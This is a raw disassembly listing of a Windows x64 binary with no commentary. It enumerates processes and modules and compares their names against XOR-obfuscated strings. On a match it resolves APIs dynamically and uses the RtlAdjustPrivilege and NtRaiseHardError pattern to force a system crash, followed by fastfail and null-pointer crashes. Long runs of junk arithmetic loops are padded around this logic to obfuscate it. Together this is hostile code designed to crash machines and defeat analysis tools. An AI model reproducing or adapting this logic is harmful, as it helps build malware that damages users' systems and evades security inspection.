mov dword [rsp + 0x4ac], 0x15
mov eax, dword [rsp + 0x4ac]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140100c4c
mov eax, dword [rsp + 0x4ac]
shl eax, 1
mov dword [rsp + 0x4ac], eax
jmp 0x140100c5d
mov eax, dword [rsp + 0x4ac]
add eax, 3
mov dword [rsp + 0x4ac], eax
mov eax, dword [rsp + 0x11fc]
dec eax
mov dword [rsp + 0x11fc], eax
cmp dword [rsp + 0x11fc], 0
jg 0x140100c1c
jmp 0x140100b16
jmp 0x1401005b8
lea r8, [rsp + 0x1f2c]
mov edx, 0x1000
lea rcx, [rsp + 0x1f90]
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x1401017ab
mov eax, dword [rsp + 0x1f2c]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rsp + 0x1910], eax
mov dword [rsp + 0xb88], 0
jmp 0x140100cd8
mov eax, dword [rsp + 0xb88]
inc eax
mov dword [rsp + 0xb88], eax
mov eax, dword [rsp + 0x1910]
cmp dword [rsp + 0xb88], eax
jae 0x1401017ab
mov eax, dword [rsp + 0xb88]
mov eax, dword [rsp + rax*4 + 0x1f90]
mov dword [rsp + 0x1898], eax
mov r8d, dword [rsp + 0x1898]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x18d0], rax
cmp qword [rsp + 0x18d0], 0
jne 0x140100d2e
jmp 0x1401017a6
lea r9, [rsp + 0x1f28]
mov r8d, 0x2000
lea rdx, [rsp + 0x2f90]
mov rcx, qword [rsp + 0x18d0]
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x140101798
mov dword [rsp + 0xb8c], 0
jmp 0x140100d76
mov eax, dword [rsp + 0xb8c]
inc eax
mov dword [rsp + 0xb8c], eax
mov eax, dword [rsp + 0xb8c]
mov qword [rsp + 0x1cf8], rax
mov ecx, dword [rsp + 0x1f28]
xor edx, edx
mov eax, ecx
mov ecx, 8
div rcx
mov rcx, qword [rsp + 0x1cf8]
cmp rcx, rax
jae 0x140101798
mov eax, dword [rsp + 0xb8c]
mov r9d, 0x104
lea r8, [rsp + 0x4f90]
mov rdx, qword [rsp + rax*8 + 0x2f90]
mov rcx, qword [rsp + 0x18d0]
call sub.PSAPI.DLL_GetModuleFileNameExW
test eax, eax
je 0x140101793
lea rcx, [rsp + 0x4f90]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
test rax, rax
je 0x140100e12
lea rcx, [rsp + 0x4f90]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov r8, rax
mov edx, 0x104
lea rcx, [rsp + 0x51a0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea rax, [rsp + 0x1f58]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_26
rep stosb byte [rdi], al
lea rax, [rsp + 0xeb4]
mov qword [rsp + 0x1d00], rax
lea rax, [rsp + 0xeb5]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1de8]
lea rcx, [0x14017ab90]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WLDAP32.dll_Ordinal_22
rep movsb byte [rdi], byte [rsi]
mov eax, 2
imul rax, rax, 0xa
movzx eax, word [rsp + rax + 0x1de8]
test eax, eax
je 0x140100e88
mov dword [rsp + 0x18c8], 1
jmp 0x140100e93
mov dword [rsp + 0x18c8], 0
movzx eax, byte [rsp + 0x18c8]
test eax, eax
je 0x140100f0e
mov dword [rsp + 0xec], 0
jmp 0x140100ebc
mov eax, dword [rsp + 0xec]
inc eax
mov dword [rsp + 0xec], eax
cmp dword [rsp + 0xec], 0xb
jge 0x140100f0e
movsxd rax, dword [rsp + 0xec]
movzx eax, word [rsp + rax*2 + 0x1de8]
mov dword [rsp + 0x18e0], eax
mov eax, dword [rsp + 0xec]
cdq
mov ecx, gethostname
idiv ecx
mov eax, edx
add eax, 0x38
mov ecx, dword [rsp + 0x18e0]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xec]
mov word [rsp + rcx*2 + 0x1de8], ax
jmp 0x140100eac
lea rax, [rsp + 0x1de8]
mov qword [rsp + 0x1e50], rax
lea rax, [rsp + 0xeb6]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1e00]
lea rcx, [0x14017aba8]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WLDAP32.dll_Ordinal_26
rep movsb byte [rdi], byte [rsi]
mov eax, 2
imul rax, rax, 0xc
movzx eax, word [rsp + rax + 0x1e00]
test eax, eax
je 0x140100f70
mov dword [rsp + 0x1888], 1
jmp 0x140100f7b
mov dword [rsp + 0x1888], 0
movzx eax, byte [rsp + 0x1888]
test eax, eax
je 0x140100ff6
mov dword [rsp + 0xf0], 0
jmp 0x140100fa4
mov eax, dword [rsp + 0xf0]
inc eax
mov dword [rsp + 0xf0], eax
cmp dword [rsp + 0xf0], 0xd
jge 0x140100ff6
movsxd rax, dword [rsp + 0xf0]
movzx eax, word [rsp + rax*2 + 0x1e00]
mov dword [rsp + 0x18e4], eax
mov eax, dword [rsp + 0xf0]
cdq
mov ecx, gethostname
idiv ecx
mov eax, edx
add eax, 0x38
mov ecx, dword [rsp + 0x18e4]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xf0]
mov word [rsp + rcx*2 + 0x1e00], ax
jmp 0x140100f94
lea rax, [rsp + 0x1e00]
mov qword [rsp + 0x1e58], rax
lea rax, [rsp + 0xeb7]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1e20]
lea rcx, str.LZY_r_b
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WLDAP32.dll_Ordinal_26
rep movsb byte [rdi], byte [rsi]
mov eax, 2
imul rax, rax, 0xc
movzx eax, word [rsp + rax + 0x1e20]
test eax, eax
je 0x140101058
mov dword [rsp + 0x188c], 1
jmp 0x140101063
mov dword [rsp + 0x188c], 0
movzx eax, byte [rsp + 0x188c]
test eax, eax
je 0x1401010de
mov dword [rsp + 0xf4], 0
jmp 0x14010108c
mov eax, dword [rsp + 0xf4]
inc eax
mov dword [rsp + 0xf4], eax
cmp dword [rsp + 0xf4], 0xd
jge 0x1401010de
movsxd rax, dword [rsp + 0xf4]
movzx eax, word [rsp + rax*2 + 0x1e20]
mov dword [rsp + 0x18e8], eax
mov eax, dword [rsp + 0xf4]
cdq
mov ecx, gethostname
idiv ecx
mov eax, edx
add eax, 0x38
mov ecx, dword [rsp + 0x18e8]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xf4]
mov word [rsp + rcx*2 + 0x1e20], ax
jmp 0x14010107c
lea rax, [rsp + 0x1e20]
mov qword [rsp + 0x1e60], rax
lea rax, [rsp + 0xeb8]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1eb0]
lea rcx, str.kZCWP_vV__
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_60
rep movsb byte [rdi], byte [rsi]
mov eax, 2
imul rax, rax, 0x1b
movzx eax, word [rsp + rax + 0x1eb0]
test eax, eax
je 0x140101140
mov dword [rsp + 0x1890], 1
jmp 0x14010114b
mov dword [rsp + 0x1890], 0
movzx eax, byte [rsp + 0x1890]
test eax, eax
je 0x1401011c6
mov dword [rsp + 0xf8], 0
jmp 0x140101174
mov eax, dword [rsp + 0xf8]
inc eax
mov dword [rsp + 0xf8], eax
cmp dword [rsp + 0xf8], 0x1c
jge 0x1401011c6
movsxd rax, dword [rsp + 0xf8]
movzx eax, word [rsp + rax*2 + 0x1eb0]
mov dword [rsp + 0x18ec], eax
mov eax, dword [rsp + 0xf8]
cdq
mov ecx, gethostname
idiv ecx
mov eax, edx
add eax, 0x38
mov ecx, dword [rsp + 0x18ec]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xf8]
mov word [rsp + rcx*2 + 0x1eb0], ax
jmp 0x140101164
lea rax, [rsp + 0x1eb0]
mov qword [rsp + 0x1e68], rax
lea rax, [rsp + 0x1e50]
mov qword [rsp + 0x1e40], rax
lea rax, [rsp + 0x1e70]
mov qword [rsp + 0x1e48], rax
lea rax, [rsp + 0x1e88]
lea rcx, [rsp + 0x1e40]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x1ea0]
lea rcx, [rsp + 0x1e88]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rsp + 0x1d00]
lea rdx, [rsp + 0x1ea0]
lea rcx, [rsp + 0x1f58]
call fcn.14006fef0
nop
lea rax, [rsp + 0x1f58]
mov qword [rsp + 0x1950], rax
mov rax, qword [rsp + 0x1950]
mov rax, qword [rax]
mov qword [rsp + 0x18d8], rax
mov rax, qword [rsp + 0x1950]
mov rax, qword [rax + 8]
mov qword [rsp + 0x1d08], rax
jmp 0x14010129b
mov rax, qword [rsp + 0x18d8]
add rax, 8
mov qword [rsp + 0x18d8], rax
mov rax, qword [rsp + 0x1d08]
cmp qword [rsp + 0x18d8], rax
je 0x140101786
mov rax, qword [rsp + 0x18d8]
mov qword [rsp + 0x1d10], rax
mov rax, qword [rsp + 0x1d10]
mov rax, qword [rax]
mov qword [rsp + 0x1d18], rax
mov rdx, qword [rsp + 0x1d18]
lea rcx, [rsp + 0x51a0]
call sub.VCRUNTIME140.dll_wcsstr
test rax, rax
je 0x140101781
mov ecx, dword [rsp + 0x1898]
call fcn.140093b10
lea rax, [rsp + 0xeb9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1970]
lea rcx, str.jMVzXWKL4
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_send
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 0x12
movsx eax, byte [rsp + rax + 0x1970]
test eax, eax
je 0x140101350
mov dword [rsp + 0x18a0], 1
jmp 0x14010135b
mov dword [rsp + 0x18a0], 0
movzx eax, byte [rsp + 0x18a0]
test eax, eax
je 0x1401013d5
mov dword [rsp + 0xfc], 0
jmp 0x140101384
mov eax, dword [rsp + 0xfc]
inc eax
mov dword [rsp + 0xfc], eax
cmp dword [rsp + 0xfc], 0x13
jge 0x1401013d5
movsxd rax, dword [rsp + 0xfc]
movsx eax, byte [rsp + rax + 0x1970]
mov dword [rsp + 0x18f0], eax
mov eax, dword [rsp + 0xfc]
cdq
mov ecx, gethostname
idiv ecx
mov eax, edx
add eax, 0x38
mov ecx, dword [rsp + 0x18f0]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xfc]
mov byte [rsp + rcx + 0x1970], al
jmp 0x140101374
lea rax, [rsp + 0x1970]
mov qword [rsp + 0x1d20], rax
lea rax, [rsp + 0xeba]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1928]
lea rcx, [0x14017aab8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 9
movsx eax, byte [rsp + rax + 0x1928]
test eax, eax
je 0x140101437
mov dword [rsp + 0x18a4], 1
jmp 0x140101442
mov dword [rsp + 0x18a4], 0
movzx eax, byte [rsp + 0x18a4]
test eax, eax
je 0x1401014bc
mov dword [rsp + 0x100], 0
jmp 0x14010146b
mov eax, dword [rsp + 0x100]
inc eax
mov dword [rsp + 0x100], eax
cmp dword [rsp + 0x100], 0xa
jge 0x1401014bc
movsxd rax, dword [rsp + 0x100]
movsx eax, byte [rsp + rax + 0x1928]
mov dword [rsp + 0x18f4], eax
mov eax, dword [rsp + 0x100]
cdq
mov ecx, gethostname
idiv ecx
mov eax, edx
add eax, 0x38
mov ecx, dword [rsp + 0x18f4]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x100]
mov byte [rsp + rcx + 0x1928], al
jmp 0x14010145b
lea rax, [rsp + 0x1928]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x1d28], rax
mov rdx, qword [rsp + 0x1d20]
mov rcx, qword [rsp + 0x1d28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x1d40], rax
lea rax, [rsp + 0xebb]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1958]
lea rcx, str.vMhZUN_w_3
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recvfrom
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 0x10
movsx eax, byte [rsp + rax + 0x1958]
test eax, eax
je 0x140101545
mov dword [rsp + 0x18a8], 1
jmp 0x140101550
mov dword [rsp + 0x18a8], 0
movzx eax, byte [rsp + 0x18a8]
test eax, eax
je 0x1401015ca
mov dword [rsp + 0x104], 0
jmp 0x140101579
mov eax, dword [rsp + 0x104]
inc eax
mov dword [rsp + 0x104], eax
cmp dword [rsp + 0x104], 0x11
jge 0x1401015ca
movsxd rax, dword [rsp + 0x104]
movsx eax, byte [rsp + rax + 0x1958]
mov dword [rsp + 0x18f8], eax
mov eax, dword [rsp + 0x104]
cdq
mov ecx, gethostname
idiv ecx
mov eax, edx
add eax, 0x38
mov ecx, dword [rsp + 0x18f8]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x104]
mov byte [rsp + rcx + 0x1958], al
jmp 0x140101569
lea rax, [rsp + 0x1958]
mov qword [rsp + 0x1d30], rax
lea rax, [rsp + 0xebc]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1dd0]
lea rcx, [0x14017aae0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_sendto
rep movsb byte [rdi], byte [rsi]
mov eax, 2
imul rax, rax, 9
movzx eax, word [rsp + rax + 0x1dd0]
test eax, eax
je 0x14010162c
mov dword [rsp + 0x18ac], 1
jmp 0x140101637
mov dword [rsp + 0x18ac], 0
movzx eax, byte [rsp + 0x18ac]
test eax, eax
je 0x1401016b2
mov dword [rsp + 0x108], 0
jmp 0x140101660
mov eax, dword [rsp + 0x108]
inc eax
mov dword [rsp + 0x108], eax
cmp dword [rsp + 0x108], 0xa
jge 0x1401016b2
movsxd rax, dword [rsp + 0x108]
movzx eax, word [rsp + rax*2 + 0x1dd0]
mov dword [rsp + 0x18fc], eax
mov eax, dword [rsp + 0x108]
cdq
mov ecx, gethostname
idiv ecx
mov eax, edx
add eax, 0x38
mov ecx, dword [rsp + 0x18fc]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x108]
mov word [rsp + rcx*2 + 0x1dd0], ax
jmp 0x140101650
lea rax, [rsp + 0x1dd0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x1d38], rax
mov rdx, qword [rsp + 0x1d30]
mov rcx, qword [rsp + 0x1d38]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x1d48], rax
mov rax, qword [rsp + 0x1d40]
mov qword [rsp + 0x1d50], rax
mov rax, qword [rsp + 0x1d48]
mov qword [rsp + 0x1d60], rax
mov rax, qword [rsp + 0x1d50]
mov qword [rsp + 0x1d58], rax
lea r9, [rsp + 0x1f10]
xor r8d, r8d
mov dl, 1
mov ecx, reloc.WS2_32.dll_send
call qword [rsp + 0x1d58]
mov dword [rsp + 0x1a8c], eax
mov rax, qword [rsp + 0x1d60]
mov qword [rsp + 0x1d68], rax
lea rax, [rsp + 0x1f30]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call qword [rsp + 0x1d68]
xor ecx, ecx
int 0x29
mov dword [0], 0x1565
jmp 0x140101287
lea rcx, [rsp + 0x1f58]
call fcn.1400980e0
jmp 0x140100d66
mov rcx, qword [rsp + 0x18d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140100cc8
xor eax, eax
cmp eax, 1
je 0x14010212d
xor eax, eax
test eax, eax
je 0x140101f2a
mov dword [rsp + 0x1200], 0
jmp 0x1401017dd
mov eax, dword [rsp + 0x1200]
inc eax
mov dword [rsp + 0x1200], eax
cmp dword [rsp + 0x1200], 5
jge 0x140101f25
mov dword [rsp + 0x4dc], 0x4d
mov dword [rsp + 0xb90], 0
jmp 0x140101813
mov eax, dword [rsp + 0xb90]
inc eax
mov dword [rsp + 0xb90], eax
cmp dword [rsp + 0xb90], 8
jge 0x140101a43
mov eax, dword [rsp + 0xb90]
add eax, 6
mov dword [rsp + 0x4c0], eax
mov eax, dword [rsp + 0x4c0]
add eax, 5
mov dword [rsp + 0x4c0], eax
cmp dword [rsp + 0x4c0], 0x12
jne 0x140101a30
mov dword [rsp + 0x4b0], 0x2a
mov eax, dword [rsp + 0x4b0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140101881
mov eax, dword [rsp + 0x4b0]
shl eax, 1
mov dword [rsp + 0x4b0], eax
jmp 0x140101892
mov eax, dword [rsp + 0x4b0]
add eax, 3
mov dword [rsp + 0x4b0], eax
mov eax, dword [rsp + 0x4c0]
imul eax, dword [rsp + 0x4dc]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1a90], eax
mov dword [rsp + 0x1204], 0
jmp 0x1401018cd
mov eax, dword [rsp + 0x1204]
inc eax
mov dword [rsp + 0x1204], eax
cmp dword [rsp + 0x1204], 5
jge 0x140101a30
mov dword [rsp + 0x1208], 0x4d
mov dword [rsp + 0xb94], 0
jmp 0x140101903
mov eax, dword [rsp + 0xb94]
inc eax
mov dword [rsp + 0xb94], eax
cmp dword [rsp + 0xb94], 6
jge 0x1401019af
mov eax, dword [rsp + 0xb94]
add eax, 3
mov dword [rsp + 0x4b8], eax
mov eax, dword [rsp + 0x4b8]
add eax, 2
mov dword [rsp + 0x4b8], eax
cmp dword [rsp + 0x4b8], 0xb
jne 0x14010199c
mov dword [rsp + 0x4b4], 0x2a
mov eax, dword [rsp + 0x4b4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010196d
mov eax, dword [rsp + 0x4b4]
shl eax, 1
mov dword [rsp + 0x4b4], eax
jmp 0x14010197e
mov eax, dword [rsp + 0x4b4]
add eax, 3
mov dword [rsp + 0x4b4], eax
mov eax, dword [rsp + 0x4b8]
imul eax, dword [rsp + 0x1208]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1a94], eax
cmp dword [rsp + 0x4b8], 0x12
jl 0x140101922
jmp 0x1401018f3
cmp dword [rsp + 0x1208], 0x23
jle 0x140101a2b
mov eax, dword [rsp + 0x1208]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x120c], eax
mov dword [rsp + 0x4bc], 0x2a
mov eax, dword [rsp + 0x4bc]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401019ff
mov eax, dword [rsp + 0x4bc]
shl eax, 1
mov dword [rsp + 0x4bc], eax
jmp 0x140101a10
mov eax, dword [rsp + 0x4bc]
add eax, 3
mov dword [rsp + 0x4bc], eax
mov eax, dword [rsp + 0x120c]
sub eax, 4
mov dword [rsp + 0x120c], eax
cmp dword [rsp + 0x120c], 0
jg 0x1401019cf
jmp 0x1401018bd
cmp dword [rsp + 0x4c0], 0x1e
jl 0x140101832
jmp 0x140101803
cmp dword [rsp + 0x4dc], 0x23
jle 0x140101cd3
mov eax, dword [rsp + 0x4dc]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x121c], eax
mov dword [rsp + 0xb98], 0
jmp 0x140101a84
mov eax, dword [rsp + 0xb98]
inc eax
mov dword [rsp + 0xb98], eax
cmp dword [rsp + 0xb98], 8
jge 0x140101cb4
mov eax, dword [rsp + 0xb98]
add eax, 6
mov dword [rsp + 0x4d4], eax
mov eax, dword [rsp + 0x4d4]
add eax, 5
mov dword [rsp + 0x4d4], eax
cmp dword [rsp + 0x4d4], 0x12
jne 0x140101ca1
mov dword [rsp + 0x4c4], 0x2a
mov eax, dword [rsp + 0x4c4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140101af2
mov eax, dword [rsp + 0x4c4]
shl eax, 1
mov dword [rsp + 0x4c4], eax
jmp 0x140101b03
mov eax, dword [rsp + 0x4c4]
add eax, 3
mov dword [rsp + 0x4c4], eax
mov eax, dword [rsp + 0x4d4]
imul eax, dword [rsp + 0x4dc]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1a98], eax
mov dword [rsp + 0x1210], 0
jmp 0x140101b3e
mov eax, dword [rsp + 0x1210]
inc eax
mov dword [rsp + 0x1210], eax
cmp dword [rsp + 0x1210], 5
jge 0x140101ca1
mov dword [rsp + 0x1214], 0x4d
mov dword [rsp + 0xb9c], 0
jmp 0x140101b74
mov eax, dword [rsp + 0xb9c]
inc eax
mov dword [rsp + 0xb9c], eax
cmp dword [rsp + 0xb9c], 6
jge 0x140101c20
mov eax, dword [rsp + 0xb9c]
add eax, 3
mov dword [rsp + 0x4cc], eax
mov eax, dword [rsp + 0x4cc]
add eax, 2
mov dword [rsp + 0x4cc], eax
cmp dword [rsp + 0x4cc], 0xb
jne 0x140101c0d
mov dword [rsp + 0x4c8], 0x2a
mov eax, dword [rsp + 0x4c8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140101bde
mov eax, dword [rsp + 0x4c8]
shl eax, 1
mov dword [rsp + 0x4c8], eax
jmp 0x140101bef
mov eax, dword [rsp + 0x4c8]
add eax, 3
mov dword [rsp + 0x4c8], eax
mov eax, dword [rsp + 0x4cc]
imul eax, dword [rsp + 0x1214]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1a9c], eax
cmp dword [rsp + 0x4cc], 0x12
jl 0x140101b93
jmp 0x140101b64
cmp dword [rsp + 0x1214], 0x23
jle 0x140101c9c
mov eax, dword [rsp + 0x1214]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x1218], eax
mov dword [rsp + 0x4d0], 0x2a
mov eax, dword [rsp + 0x4d0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140101c70
mov eax, dword [rsp + 0x4d0]
shl eax, 1
mov dword [rsp + 0x4d0], eax
jmp 0x140101c81
mov eax, dword [rsp + 0x4d0]
add eax, 3
mov dword [rsp + 0x4d0], eax
mov eax, dword [rsp + 0x1218]
sub eax, 4
mov dword [rsp + 0x1218], eax
cmp dword [rsp + 0x1218], 0
jg 0x140101c40
jmp 0x140101b2e
cmp dword [rsp + 0x4d4], 0x1e
jl 0x140101aa3
jmp 0x140101a74
mov eax, dword [rsp + 0x121c]
sub eax, 4
mov dword [rsp + 0x121c], eax
cmp dword [rsp + 0x121c], 0
jg 0x140101a67
mov dword [rsp + 0xba0], 0
jmp 0x140101cf0
mov eax, dword [rsp + 0xba0]
inc eax
mov dword [rsp + 0xba0], eax
cmp dword [rsp + 0xba0], 8
jge 0x140101f20
mov eax, dword [rsp + 0xba0]
add eax, 6
mov dword [rsp + 0x4ec], eax
mov eax, dword [rsp + 0x4ec]
add eax, 5
mov dword [rsp + 0x4ec], eax
cmp dword [rsp + 0x4ec], 0x12
jne 0x140101f0d
mov dword [rsp + 0x4d8], 0x2a
mov eax, dword [rsp + 0x4d8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140101d5e
mov eax, dword [rsp + 0x4d8]
shl eax, 1
mov dword [rsp + 0x4d8], eax
jmp 0x140101d6f
mov eax, dword [rsp + 0x4d8]
add eax, 3
mov dword [rsp + 0x4d8], eax
mov eax, dword [rsp + 0x4ec]
imul eax, dword [rsp + 0x4dc]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1aa0], eax
mov dword [rsp + 0x1220], 0
jmp 0x140101daa
mov eax, dword [rsp + 0x1220]
inc eax
mov dword [rsp + 0x1220], eax
cmp dword [rsp + 0x1220], 5
jge 0x140101f0d
mov dword [rsp + 0x1224], 0x4d
mov dword [rsp + 0xba4], 0
jmp 0x140101de0
mov eax, dword [rsp + 0xba4]
inc eax
mov dword [rsp + 0xba4], eax
cmp dword [rsp + 0xba4], 6
jge 0x140101e8c
mov eax, dword [rsp + 0xba4]
add eax, 3
mov dword [rsp + 0x4e4], eax
mov eax, dword [rsp + 0x4e4]
add eax, 2
mov dword [rsp + 0x4e4], eax
cmp dword [rsp + 0x4e4], 0xb
jne 0x140101e79
mov dword [rsp + 0x4e0], 0x2a
mov eax, dword [rsp + 0x4e0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140101e4a
mov eax, dword [rsp + 0x4e0]
shl eax, 1
mov dword [rsp + 0x4e0], eax
jmp 0x140101e5b
mov eax, dword [rsp + 0x4e0]
add eax, 3
mov dword [rsp + 0x4e0], eax
mov eax, dword [rsp + 0x4e4]
imul eax, dword [rsp + 0x1224]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1aa4], eax
cmp dword [rsp + 0x4e4], 0x12
jl 0x140101dff
jmp 0x140101dd0
cmp dword [rsp + 0x1224], 0x23
jle 0x140101f08
mov eax, dword [rsp + 0x1224]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x1228], eax
mov dword [rsp + 0x4e8], 0x2a
mov eax, dword [rsp + 0x4e8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140101edc
mov eax, dword [rsp + 0x4e8]
shl eax, 1
mov dword [rsp + 0x4e8], eax
jmp 0x140101eed
mov eax, dword [rsp + 0x4e8]
add eax, 3
mov dword [rsp + 0x4e8], eax
mov eax, dword [rsp + 0x1228]
sub eax, 4
mov dword [rsp + 0x1228], eax
cmp dword [rsp + 0x1228], 0
jg 0x140101eac
jmp 0x140101d9a
cmp dword [rsp + 0x4ec], 0x1e
jl 0x140101d0f
jmp 0x140101ce0
jmp 0x1401017cd
jmp 0x14010212d
mov dword [rsp + 0x122c], 0
jmp 0x140101f47
mov eax, dword [rsp + 0x122c]
inc eax
mov dword [rsp + 0x122c], eax
cmp dword [rsp + 0x122c], 5
jge 0x14010212d
mov dword [rsp + 0x1230], 0x59
mov dword [rsp + 0xba8], 0
jmp 0x140101f7d
mov eax, dword [rsp + 0xba8]
inc eax
mov dword [rsp + 0xba8], eax
cmp dword [rsp + 0xba8], 7
jge 0x14010206b
mov eax, dword [rsp + 0xba8]
add eax, 4
mov dword [rsp + 0x4f8], eax
mov eax, dword [rsp + 0x4f8]
add eax, 3
mov dword [rsp + 0x4f8], eax
cmp dword [rsp + 0x4f8], 0xe
jne 0x140102058
mov dword [rsp + 0x4f0], 0x2a
mov eax, dword [rsp + 0x4f0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140101feb
mov eax, dword [rsp + 0x4f0]
shl eax, 1
mov dword [rsp + 0x4f0], eax
jmp 0x140101ffc
mov eax, dword [rsp + 0x4f0]
add eax, 3
mov dword [rsp + 0x4f0], eax
mov eax, dword [rsp + 0x4f8]
imul eax, dword [rsp + 0x1230]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1aa8], eax
mov dword [rsp + 0x4f4], 0x2a
mov eax, dword [rsp + 0x4f4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140102047
mov eax, dword [rsp + 0x4f4]
shl eax, 1
mov dword [rsp + 0x4f4], eax
jmp 0x140102058
mov eax, dword [rsp + 0x4f4]
add eax, 3
mov dword [rsp + 0x4f4], eax
cmp dword [rsp + 0x4f8], 0x19
jl 0x140101f9c
jmp 0x140101f6d
cmp dword [rsp + 0x1230], 0x28
jle 0x1401020e7
mov eax, dword [rsp + 0x1230]
cdq
mov ecx, 6
idiv ecx
mov dword [rsp + 0x1234], eax
mov dword [rsp + 0x4fc], 0x2a
mov eax, dword [rsp + 0x4fc]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401020bb
mov eax, dword [rsp + 0x4fc]
shl eax, 1
mov dword [rsp + 0x4fc], eax
jmp 0x1401020cc
mov eax, dword [rsp + 0x4fc]
add eax, 3
mov dword [rsp + 0x4fc], eax
mov eax, dword [rsp + 0x1234]
sub eax, 3
mov dword [rsp + 0x1234], eax
cmp dword [rsp + 0x1234], 0
jg 0x14010208b
mov dword [rsp + 0x500], 0x2a
mov eax, dword [rsp + 0x500]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140102117
mov eax, dword [rsp + 0x500]
shl eax, 1
mov dword [rsp + 0x500], eax
jmp 0x140102128
mov eax, dword [rsp + 0x500]
add eax, 3
mov dword [rsp + 0x500], eax
jmp 0x140101f37
xor eax, eax
test eax, eax
je 0x140102f9a
xor eax, eax
test eax, eax
je 0x140102871
mov dword [rsp + 0x1238], 0
jmp 0x14010215e
mov eax, dword [rsp + 0x1238]
inc eax
mov dword [rsp + 0x1238], eax
cmp dword [rsp + 0x1238], 5
jge 0x14010286c
mov dword [rsp + 0x1254], 0x3f
mov dword [rsp + 0xbac], 0
jmp 0x140102194
mov eax, dword [rsp + 0xbac]
inc eax
mov dword [rsp + 0xbac], eax
cmp dword [rsp + 0xbac], 6
jge 0x140102514
mov eax, dword [rsp + 0xbac]
add eax, 5
